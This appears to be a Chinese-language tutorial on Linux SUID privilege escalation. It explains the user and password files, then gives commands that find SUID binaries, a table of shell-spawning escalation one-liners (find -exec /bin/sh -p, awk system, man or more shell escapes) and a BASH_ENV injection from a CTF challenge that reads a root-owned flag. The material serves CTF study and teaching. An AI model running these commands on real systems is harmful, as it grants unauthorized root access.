SUID提权

什么是SUID

SUID(set uid)是linux中的一种特殊权限,可以让调用者以文件拥有者的身份运行该文件,而非调用者身份。于是运行root用户所拥有的suid的文件,执行该文件时就可以获得root用户的身份了。

Linux系统中引入了3个文件来管理用户组:

1.**/etc/passwd**:

  • 存储用户的基本信息。

  • 每个用户对应一行信息,共有7个字段用冒号隔开。

  • 用户名:口令:用户标识号(UID):组标识号(GID):注释性内容:主目录:登录Shell

  • 现在许多Linux系统(如SVR4)都使用了shadow技术,把真正的加密后的用户口令字存放到/etc/shadow文件中,而在/etc/passwd文件的口令字段中只存放一个特殊的字符,例如“x”或者“*”

  • 登录Shell是用户登录时的默认Shell。例如/bin/bash(可登录),或/sbin/nologin(不允许登录)。

image-20250507195928394

2./etc/shadow:

  • 专门存储用户的密码信息(加密后的密码)。
  • 只有root用户或具有足够权限的用户可以访问这个文件。

3./etc/group:

  • 存储系统中所有组的信息,例如组名、组ID(GID)以及组内的成员。

查找已有SUID权限的文件

1
2
3
find / -user root -perm -4000 -print 2>/dev/null
find / -perm -u=s -type f 2>/dev/null
find / -user root -perm -4000 -exec ls -ldb {} \;
1
2
3
4
5
6
7
8
9
10
find / -perm -u=s -type f 2>/dev/null
/表示从文件系统的顶部(根)开始并找到每个目录
-perm 表示搜索随后的权限
-u = s表示查找root用户拥有的文件
-type表示我们正在寻找的文件类型
f 表示常规文件,而不是目录或特殊文件
2表示该进程的第二个文件描述符,即stderr(标准错误)

表示重定向
/dev/null是一个特殊的文件系统对象,它将丢弃写入其中的所有内容。

进行SUID提权

find命令提权

1
2
3
4
5
6
7
8
9
#先前利用以上查找suid文件查询到了/usr/bin/find 有suid权限

find 任意文件 -exec whoami \; -quit
#root
find 任意文件 -exec /bin/sh -p \; -quit
#whoami
#root
touch 1.txt #创建1.txt
/usr/bin/find 1.txt -exec whoami \;

其他命令提权

suid文件 提权命令
/usr/bin/bash bash -p
/usr/bin/csh csh -b
/usr/bin/sh sh -p
/usr/bin/ksh ksh -p
/usr/bin/zsh zsh
/usr/bin/find find /etc/passwd -exec /bin/bash -p ;
/usr/bin/awk awk ‘BEGIN {system(“/bin/bash”)}’
/usr/bin/man !/bin/bash
/usr/bin/more !/bin/bash

$BASH_ENV变量提权

在Linux中,.bashrc用来初始化交互shell,而BASH_ENV用来初始化非交互shell。只要是在BASH_ENV变量中写入的语句,在每个shell脚本执行前,都会执行一次。于是我们可以通过该变量实现提权。

交互shell

shell与用户存在交互,用户登录后,在终端上输入命令,shell立即执行用户提交的命令。当用户退出后,shell也终止了。

非交互shell

即shell与用户不存在交互,而是以shell script的方式执行的。shell读取存放在文件中的命令,并且执行。当它读到文件的结尾EOF时,shell也就终止了。

步骤如下:

1.得到一个Linux管理员使用su命令的账户

2.定义BASH_ENV变量

3.执行脚本

例子(2025ACTF《Hard guess》)

利用此处进行提权。

fc9378785ada8cbaed6c53325efd1f27

1
2
3
$ BASH_ENV='$(cat /root/flag 1>&2)'
#运行程序
$ /opt/hello